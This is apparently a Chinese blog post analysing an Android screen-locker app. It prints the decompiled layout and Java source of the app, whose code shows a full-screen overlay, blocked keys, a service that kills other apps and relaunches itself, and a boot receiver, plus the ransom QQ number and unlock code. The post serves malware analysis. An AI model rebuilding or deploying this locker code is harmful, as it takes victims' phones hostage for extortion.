欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

深入探索安卓恶意代码:android恶意代码测试与分析

最编程 2024-08-14 15:07:05
...


最近在找畅无线的破解版,结果从贴吧找到了一个恶意应用。

点击屏幕任何地方都没反应,上面一堆恐吓性文字,没法退出,重启之后手机恢复正常了,然后果断把它卸载了。

下面我们来分析分析。

首先看看用APKTOOLS反编译出来的布局文件

1.main.xml

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout android:layout_width="fill_parent" android:layout_height="fill_parent"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <LinearLayout android:gravity="center" android:orientation="vertical" android:background="#ff303444" android:layout_width="fill_parent" android:layout_height="fill_parent" android:layout_centerHorizontal="true">
        <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="你的手机已被锁!By 小黑" />
        <Button android:id="@id/bn_bf" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
        <TextView android:gravity="center" android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:layout_marginBottom="10.0dip" android:text="24小时内未解锁将格式化!" />
        <Button android:id="@id/bn_hy" android:background="@drawable/mybutton" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginRight="10.0dip" android:text="所有数据将删除无法恢复!" />
        <TextView android:background="@drawable/sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_marginLeft="10.0dip" android:layout_marginTop="10.0dip" android:layout_marginRight="10.0dip" android:text="解锁加QQ:2082 549 931" />
        <TextView android:textAppearance="?android:textAppearanceMedium" android:id="@id/mainTextViewTime" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="15.0dip" android:text="你的手机已被锁!By 小黑" />
    </LinearLayout>
    <TextView android:textAppearance="?android:textAppearanceSmall" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="24.0dip" android:text="Power by 小黑@2014" android:layout_alignParentBottom="true" android:layout_centerHorizontal="true" />
</RelativeLayout>

布局是一个相对布局里面嵌入了一个线性布局,然后里面放了6个控件,依次是TexTView、Button、TextView、Button、TextView、TextView



2.java代码分析


1.MainActivity.java


package tk.jianmo.study;

import LogCatBroadcaster;
import android.app.Activity;
import android.app.AlertDialog.Builder;
import android.app.Dialog;
import android.app.DialogFragment;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.os.SystemClock;
import android.text.Editable;
import android.view.KeyEvent;
import android.view.Window;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
import java.util.Timer;
import java.util.TimerTask;

public class MainActivity
  extends Activity
{
  Context context;
  @Override
  Intent intent;
  int keyTouthInt = 0;
  long newTime = 0;
  SharedPreferences sp;
  int theBeginTimeToFinish = 86400;
  Timer timer;
  TimerTask timertask;
  int timetofinish = this.theBeginTimeToFinish;
  TextView tv_time;
  long usedTime = 0;
  
  public void keytouch(long paramLong, int paramInt1, int paramInt2)
  {
    this.newTime = System.currentTimeMillis();
    if ((this.newTime - paramLong <= 2000) && (paramInt1 == paramInt2))
    {
      this.usedTime = this.newTime;
      this.keyTouthInt = (paramInt1 + 1);
      return;
    }
    this.keyTouthInt = 0;
  }
  
  public void onAttachedToWindow()
  {
    getWindow().setType(2004);
    super.onAttachedToWindow();
  }
  
  public void onCreate(Bundle paramBundle)
  {
    LogCatBroadcaster.start(this);
    super.onCreate(paramBundle);
    requestWindowFeature(1);
    getWindow().setFlags(-2147483648, -2147483648);
    setContentView(2130903040);
    this.context = this;
    this.tv_time = ((TextView)super.findViewById(2131034114));
    Intent localIntent1 = new Intent();
    this.intent = localIntent1;
    Intent localIntent2 = this.intent;
    try
    {
      Class localClass = Class.forName("tk.jianmo.study.killpoccessserve");
      localIntent2.setClass(this, localClass);
      startService(this.intent);
      this.sp = getSharedPreferences("TimeSave", 0);
      this.timetofinish = this.sp.getInt("saveTime", this.timetofinish);
      if (this.timetofinish <= 1) {
        this.timetofinish = this.theBeginTimeToFinish;
      }
      Timer localTimer = new Timer();
      this.timer = localTimer;
      TimerTask local100000001 = new TimerTask()
      {
        @Override
        public void run()
        {
          MainActivity localMainActivity = MainActivity.this;
          Runnable local100000000 = new Runnable()
          {
            @Override
            public void run()
            {
              int i = MainActivity.this.timetofinish / 3600;
              int j = MainActivity.this.timetofinish % 3600 / 60;
              int k = MainActivity.this.timetofinish % 60;
              TextView localTextView = MainActivity.this.tv_time;
              StringBuffer localStringBuffer1 = new StringBuffer();
              StringBuffer localStringBuffer2 = new StringBuffer();
              StringBuffer localStringBuffer3 = new StringBuffer();
              StringBuffer localStringBuffer4 = new StringBuffer();
              StringBuffer localStringBuffer5 = new StringBuffer();
              localTextView.setText(localStringBuffer2.append(localStringBuffer3.append(localStringBuffer4.append

(localStringBuffer5.append(i).append("9999").toString()).append(j).toString()).append("999").toString()).append

(k).toString() + "加QQ解锁2082549931");
              MainActivity.this.sp.edit().putInt("saveTime", MainActivity.this.timetofinish).commit();
              if (MainActivity.this.timetofinish == 0)
              {
                MainActivity.this.stopService(MainActivity.this.intent);
                System.exit(0);
              }
              MainActivity localMainActivity = MainActivity.this;
              localMainActivity.timetofinish = (-1 + localMainActivity.timetofinish);
            }
          };
          localMainActivity.runOnUiThread(local100000000);
        }
      };
      this.timertask = local100000001;
      this.timer.schedule(this.timertask, 0, 1000);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
      throw localNoClassDefFoundError;
    }
  }
  
  @Override
  public boolean onKeyDown(int paramInt, KeyEvent paramKeyEvent)
  {
    if (paramInt == 4)
    {
      if (this.keyTouthInt != 0) {
        break label153;
      }
      this.usedTime = SystemClock.currentThreadTimeMillis();
      this.keyTouthInt = 1;
      this.usedTime = System.currentTimeMillis();
    }
    for (;;)
    {
      if (paramInt == 3)
      {
        keytouch(this.usedTime, this.keyTouthInt, 5);
        if (this.keyTouthInt == 6)
        {
          MyDialogFragment localMyDialogFragment = new MyDialogFragment();
          localMyDialogFragment.show(getFragmentManager(), "mydialog");
        }
      }
      if (paramInt == 82) {
        keytouch(this.usedTime, this.keyTouthInt, 100);
      }
      if (paramInt == 25) {
        keytouch(this.usedTime, this.keyTouthInt, 2);
      }
      if (paramInt == 24) {
        keytouch(this.usedTime, this.keyTouthInt, 3);
      }
      if (paramInt == 26) {
        Toast.makeText(this, "电源控制成功!", 0).show();
      }
      return true;
      label153:
      if (this.keyTouthInt == 1) {
        keytouch(this.usedTime, this.keyTouthInt, 1);
      } else {
        keytouch(this.usedTime, this.keyTouthInt, 4);
      }
    }
  }
  
  class MyDialogFragment
    extends DialogFragment
  {
    public MyDialogFragment() {}
    
    @Override
    public Dialog onCreateDialog(Bundle paramBundle)
    {
      AlertDialog.Builder localBuilder = new AlertDialog.Builder(getActivity());
      EditText localEditText = new EditText(MainActivity.this.context);
      localEditText.setHint("please input the cipher!");
      localBuilder.setView(localEditText);
      localBuilder.setTitle("Choose");
      localBuilder.setMessage("I will clear all of your data!");
      DialogInterface.OnClickListener local100000002 = new DialogInterface.OnClickListener()
      {
        private final EditText val$edit;
        
        @Override
        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt)
        {
          if (this.val$edit.getText().toString().equals("2082549931"))
          {
            MainActivity.this.stopService(MainActivity.this.intent);
            System.exit(0);
          }
        }
      };
      localBuilder.setPositiveButton("Yes", local100000002);
      DialogInterface.OnClickListener local100000003 = new DialogInterface.OnClickListener()
      {
        @Override
        public void onClick(DialogInterface paramAnonymousDialogInterface, int paramAnonymousInt) {}
      };
      localBuilder.setNegativeButton("No", local100000003);
      return localBuilder.create();
    }
  }
}

根据Activity的生命周期,我们先看看onCreate方法


第一句LogCatBroadcaster.start(this);这里启动了一个线程


下面是代码


import android.content.Context;
import android.content.Intent;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class LogCatBroadcaster
  implements Runnable
{
  private static boolean started = false;
  private Context context;
  
  private LogCatBroadcaster(Context paramContext)
  {
    this.context = paramContext;
  }
  
  /* Error */
  public static void start(Context paramContext)
  {
    // Byte code:
    //   0: ldc 2
    //   2: monitorenter
    //   3: getstatic 14	LogCatBroadcaster:started	Z
    //   6: istore_2
    //   7: iload_2
    //   8: ifeq +7 -> 15
    //   11: ldc 2
    //   13: monitorexit
    //   14: return
    //   15: iconst_1
    //   16: putstatic 14	LogCatBroadcaster:started	Z
    //   19: getstatic 29	android/os/Build$VERSION:SDK_INT	I
    //   22: bipush 16
    //   24: if_icmpge +6 -> 30
    //   27: goto -16 -> 11
    //   30: aload_0
    //   31: invokevirtual 35	android/content/Context:getApplicationInfo	()Landroid/content/pm/ApplicationInfo;
    //   34: getfield 40	android/content/pm/ApplicationInfo:flags	I
    //   37: istore_3
    //   38: iload_3
    //   39: iconst_2
    //   40: iand
    //   41: ifeq +14 -> 55
    //   44: iconst_1
    //   45: istore 4
    //   47: iload 4
    //   49: ifne +12 -> 61
    //   52: goto -41 -> 11
    //   55: iconst_0
    //   56: istore 4
    //   58: goto -11 -> 47
    //   61: aload_0
    //   62: invokevirtual 44	android/content/Context:getPackageManager	()Landroid/content/pm/PackageManager;
    //   65: ldc 46
    //   67: sipush 128
    //   70: invokevirtual 52	android/content/pm/PackageManager:getPackageInfo	(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
    //   73: pop
    //   74: new 2	LogCatBroadcaster
    //   77: dup
    //   78: aload_0
    //   79: invokespecial 54	LogCatBroadcaster:<init>	(Landroid/content/Context;)V
    //   82: astore 7
    //   84: new 56	java/lang/Thread
    //   87: dup
    //   88: aload 7
    //   90: invokespecial 59	java/lang/Thread:<init>	(Ljava/lang/Runnable;)V
    //   93: astore 8
    //   95: aload 8
    //   97: invokevirtual 61	java/lang/Thread:start	()V
    //   100: goto -89 -> 11
    //   103: astore 5
    //   105: goto -94 -> 11
    //   108: astore_1
    //   109: ldc 2
    //   111: monitorexit
    //   112: aload_1
    //   113: athrow
    // Local variable table:
    //   start	length	slot	name	signature
    //   0	114	0	paramContext	Context
    //   108	5	1	localObject	Object
    //   6	2	2	bool	boolean
    //   37	4	3	i	int
    //   45	12	4	j	int
    //   103	1	5	localNameNotFoundException	android.content.pm.PackageManager.NameNotFoundException
    //   82	7	7	localLogCatBroadcaster	LogCatBroadcaster
    //   93	3	8	localThread	java.lang.Thread
    // Exception table:
    //   from	to	target	type
    //   61	74	103	android/content/pm/PackageManager$NameNotFoundException
    //   3	7	108	finally
    //   15	27	108	finally
    //   30	38	108	finally
    //   61	74	108	finally
    //   74	100	108	finally
  }
  
  public void run()
  {
    try
    {
      Process localProcess = Runtime.getRuntime().exec("logcat -v threadtime");
      InputStreamReader localInputStreamReader = new InputStreamReader(localProcess.getInputStream());
      BufferedReader localBufferedReader = new BufferedReader(localInputStreamReader, 20);
      for (;;)
      {
        String str = localBufferedReader.readLine();
        if (str == null) {
          break;
        }
        Intent localIntent = new Intent();
        localIntent.setPackage("com.aide.ui");
        localIntent.setAction("com.aide.runtime.VIEW_LOGCAT_ENTRY");
        localIntent.putExtra("lines", new String[] { str });
        this.context.sendBroadcast(localIntent);
      }
      return;
    }
    catch (IOException localIOException) {}
  }
}

我们分析一下里面的run方法,首先调用系统命令得到logcat日志,亲们想看结果的可以再命令行下输入 adb logcat -v threadtime


我们通过这个进程Process再通过getInputStream()方法拿到输入流。


在拿到这个输入流之后,用一个BufferedReader对象每次读20个字节的字符


然后读取BufferedReader里面的首行数据(字符串)


接着把这个字符串通过广播发送出去,当然,里面指定了包名和动作。



好了,这段代码分析完了,我们再次回到onCreate方法。


接下来设置窗口特点1为系统默认


setFlag应该是全屏,这个貌似在反编译的时候出了点问题。


然后设置是布局,在R文件看到对应的值就是刚才的main.xml



接着通过id照片到名为mainTextViewTime的TextView控件


接着新建一个意图,用来更新时间



接下来的这个try-catch代码块中,收益按用类加载器加载了一个名为tk.jianmo.study.killpoccessserve的类,


接下来我们来看看这个类干嘛的。


killpoccessserve.java


package tk.jianmo.study;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Handler;
import android.os.Handler.Callback;
import android.os.IBinder;
import android.os.Message;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

public class killpoccessserve
  extends Service
{
  Context context;
  
  @Override
  public IBinder onBind(Intent paramIntent)
  {
    return null;
  }
  
  @Override
  public void onCreate()
  {
    this.context = this;
    Handler.Callback local100000000 = new Handler.Callback()
    {
      public boolean handleMessage(Message paramAnonymousMessage)
      {
        ActivityManager localActivityManager = (ActivityManager)killpoccessserve.this.context.getSystemService("activity");
        String str = ((ActivityManager.RunningTaskInfo)localActivityManager.getRunningTasks(1).get(0)).topActivity.getPackageName();
        if (str.equals("tk.jianmo.study")) {}
        for (;;)
        {
          return false;
          Intent localIntent = new Intent();
          Context localContext = killpoccessserve.this.context;
          try
          {
            Class localClass = Class.forName("tk.jianmo.study.MainActivity");
            localIntent.setClass(localContext, localClass);
            localIntent.setFlags(67108864);
            localIntent.addFlags(268435456);
            killpoccessserve.this.startActivity(localIntent);
            localActivityManager.killBackgroundProcesses(str);
          }
          catch (ClassNotFoundException localClassNotFoundException)
          {
            NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
            throw localNoClassDefFoundError;
          }
        }
      }
    };
    Handler localHandler = new Handler(local100000000);
    Timer localTimer = new Timer();
    TimerTask local100000001 = new TimerTask()
    {
      private final Handler val$h;
      
      @Override
      public void run()
      {
        this.val$h.obtainMessage().sendToTarget();
      }
    };
    localTimer.schedule(local100000001, 0, '–');
  }
  
  @Override
  public void onDestroy()
  {
    super.onDestroy();
  }
  
  @Override
  public void onStart(Intent paramIntent, int paramInt)
  {
    super.onStart(paramIntent, paramInt);
  }
}



这个类从名字上看是关闭进程的一个服务,继承了android.app.Service,


服务(Service)是Android系统中4个应用程序组件之一。服务主要用于两个目的:后台运行和跨进程访问。


Handler主要用来在线程中和Activity或Service通信的机制。在需要接收消息的Activity或Service中需要实现Handler.Callback接口


这里直接实现了。


getSystemService("activity");这里里面的参数貌似应该是ACTIVITY_SERVICE,可能是反编译成这样了,一会查一下API,这句话得到管理应用程序的系统状态对象


str字符串获得前台运行的Activity的包名


当然接下来自然就判断这个包名是不是它自己啦


for循环里就是不断启动自己的Activity,并且销毁后台进程,为了在task里启动,使用了setFlags和addFlags函数。


然后是周期性发送消息的代码,发送消息的时候不创建新的对象。




继续回到我们的onCreate方法。


然后代码里做了,开启服务,开启定时器,显示剩余时间的操作




然后Activity其他几方法是为了让点击屏幕不起作用的,


里面有个解锁这个界面的方法,就是输入一个号码this.val$edit.getText().toString().equals("2082549931"),这个号码估计大家看到这句话机看出来了吧




这个应用还有一个开机自启的代码


BootBroadcastReceiver.java


package tk.jianmo.study;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootBroadcastReceiver
  extends BroadcastReceiver
{
  String action_boot = "android.intent.action.BOOT_COMPLETED";
  
  @Override
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    try
    {
      Class localClass = Class.forName("tk.jianmo.study.MainActivity");
      Intent localIntent = new Intent(paramContext, localClass);
      localIntent.addFlags(268435456);
      paramContext.startActivity(localIntent);
      return;
    }
    catch (ClassNotFoundException localClassNotFoundException)
    {
      NoClassDefFoundError localNoClassDefFoundError = new NoClassDefFoundError(localClassNotFoundException.getMessage());
      throw localNoClassDefFoundError;
    }
  }
}



个人对这个应用评价一下吧


这个应用欺骗小白用户还是很有效的,实际上里面的格式化是吓唬人的,但是对开发者而言,反编译一下就出来了。作者也没做代码混淆。


自启动这个真心不靠谱,自启动也是有顺序的,而且还要等SD卡识别完,这完全可以在识别SD卡的时候直接把它干掉。


作者开发这个应用如果拿来做某些事,可能会有法律风险